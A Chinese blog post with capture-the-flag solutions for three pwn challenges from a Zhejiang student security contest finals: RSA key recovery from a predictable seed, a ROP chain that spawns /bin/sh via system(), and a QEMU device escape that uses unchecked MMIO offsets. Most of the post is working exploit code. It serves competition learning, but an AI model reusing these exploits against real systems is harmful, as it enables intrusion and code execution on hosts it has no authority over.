第六届大学生浙江省网络安全大赛决赛-pwn

本文最后更新于:2023年11月17日 晚上

SafeNote

主要就是一个rsa加密,不过程序使用伪随机数构造rsa的公钥密钥,所以本地可以通过伪随机数获取目标程序上的公钥密钥,用于解密password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
python里面没有会用的数学模块,只能仿造程序用gmp进行rsa解密
gcc 1.c -o a.out -lgmp
*/
#include<gmp.h>
#include<time.h>
#include<stdio.h>
#include<stdlib.h>
gmp_randstate_t gmp_state;
__mpz_struct p,q,n_,e,p_1,q_1,lambda,d_;
__mpz_struct secret,msg;
char* data,data1;

int main(){
data=malloc(0x2000);
data1=malloc(0x2000);
__gmpz_inits(&p,&q,&n_,&e,&p_1,&q_1,&lambda,&d_,&secret,&msg,0);
__gmp_randinit_mt(&gmp_state);
long long int num=0;
scanf("%lld",&num);
__gmp_randseed_ui(&gmp_state,time(0)+num);
// 比赛的靶机时间跟本地不同,需要爆破
__gmpz_urandomb(&q,&gmp_state,256);
__gmpz_nextprime(&q,&q);
__gmpz_urandomb(&p,&gmp_state,256);
__gmpz_nextprime(&p,&p);
__gmpz_mul(&n_, &p, &q);
__gmpz_set_ui(&e, 65537LL);
__gmpz_sub_ui(&p_1, &p, 1LL);
__gmpz_sub_ui(&q_1, &q, 1LL);
__gmpz_lcm(&lambda, &p_1, &q_1);
__gmpz_invert(&d_, &e, &lambda);
printf("n: %s\n",__gmpz_get_str(0,0,&n_));
read(0,data,0x100);
__gmpz_set_str(&secret,data,10);
__gmpz_powm(&msg,&secret,&d_,&n_);
printf("data: %s\n",__gmpz_get_str(0,0,&msg));

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from ctypes import CDLL

lib=CDLL("./libc.so.6")
p=process("SafeNote")
i=96
while i>0:
p=remote("10.1.101.234",9999)
t=lib.time(0)
p1=process("./a.out")
p1.sendline(str(i))
p.readuntil("N =")
d2=int(p.readline())
p.sendlineafter("choice:",'3')
p.readuntil("password = ")
d=int(p.readline().strip().decode("utf-8"))
p1.send(str(d))
p1.readuntil('n:')
d1=int(p1.readline().decode("utf-8").strip())
print("n(1): "+str(d2))
print("n(2): "+str(d1))
print("nu: "+str(i))
print("time: "+str(t))
if d2!=d1:
p.close()
p1.close()
i-=1
continue
break
p1.readuntil('data:')
d=p1.readline()
print(d)
# 不知道为什么脚本直接发送password无法获取flag,所以需要手动发送
p.interactive()

ropexam

message中可以泄露栈地址,之后在栈地址中迁移栈,再利用read构造rdx,之后执行write就可以泄露libc地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch='amd64')

def two(data):
p.sendlineafter(b"> ",b'2')
p.sendafter(b"message: ",data)
pass

main=0x4014d6
read=0x401465
show=0x4014c2
show_=0x4014bf
pop_rbp=0x00000000004012dd
leave=0x4014d4
ret=0x4014d5

libc=ELF("./lib")
p=process("./ropexam")

two(b'a'*0x10)
p.readuntil(b'a'*0x10)

rbp=u64(p.read(6).ljust(8,b'\x00'))
rsp=rbp-0x20
info(f"stack: 0x{rsp:08x}")

payload=flat([rsp-0x20,read,\
rsp-0x20,leave])
two(payload)

p.read()

payload=flat({0:[rsp,ret,main,\
pop_rbp,rsp+0x10,\
show_],0x40:[rsp-0x30,leave]})

p.send(payload)
p.read(0x28)

libc_start=u64(p.read(8))
libc.address=libc_start-0x29d90
info(f"libc_address: 0x{libc.address:08x}")

rdi=libc.address+0x000000000002a3e5
system=libc.sym['system']
bin_sh=next(libc.search(b"/bin/sh"))

two(b'a'*0x18+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system))
p.read()

p.interactive()

easyqemu

dasctf_mmio_readdasctf_mmio_write中没有限制写入或读取的偏移范围,导致可以获取qemu_system程序的基地址,然后就可以利用dasctf_pmio_write执行system("cat flag")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include<stdio.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdlib.h>
#include<sys/mman.h>
#include<stdint.h>
#include<sys/io.h>

void mmio_write(uint64_t *addr, uint64_t val)
{
*addr = val;
}

uint64_t mmio_read(uint64_t *addr)
{
return *addr;
}

void pmio_write(uint64_t port, uint64_t val)
{
outl(val, port);
}

uint64_t pmio_read(uint64_t port)
{
return inl(port);
}

void errExit(char *message){
puts(message);
exit(0);
}

int main(int argc, char **argv, char **envp)
{
uint64_t mmio_addr;
int mmio_fd;
uint64_t val;
char bin_sh[0x20]="/bin/sh";
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",
O_RDWR | O_SYNC);
if (mmio_fd < 0) {
errExit("failed to open mmio file! wrong path or no root?");
}

mmio_addr = (uint64_t)
mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_addr == MAP_FAILED) {
errExit("failed to mmap mmio space!");
}
uint32_t pmio_port = 0xc050;
if (iopl(3)<0){
errExit("failed to change i/o privilege! no root?");
}
uint64_t opaque=mmio_read(mmio_addr+0x170);
uint64_t buf=opaque+0xa30;
uint64_t qemu_system=mmio_read(mmio_addr+0x198)-0x844B35;
printf("qemu_system base address: %p\n",qemu_system);
uint64_t system_=qemu_system+0x315760;
printf("to call system(\"/bin/sh\")\n");
memset(bin_sh,0,8);
memcpy(bin_sh,"cat flag",8);
mmio_write(mmio_addr,*(uint64_t*)bin_sh);
mmio_write(mmio_addr+8,0);
mmio_write(mmio_addr+0x100,system_);
pmio_write(pmio_port,0);
}

第六届大学生浙江省网络安全大赛决赛-pwn
https://rot-will.github.io/page/wp/第六届浙江省大学生网络安全大赛-PWN/
作者
rot_will
发布于
2023年11月15日
更新于
2023年11月17日
许可协议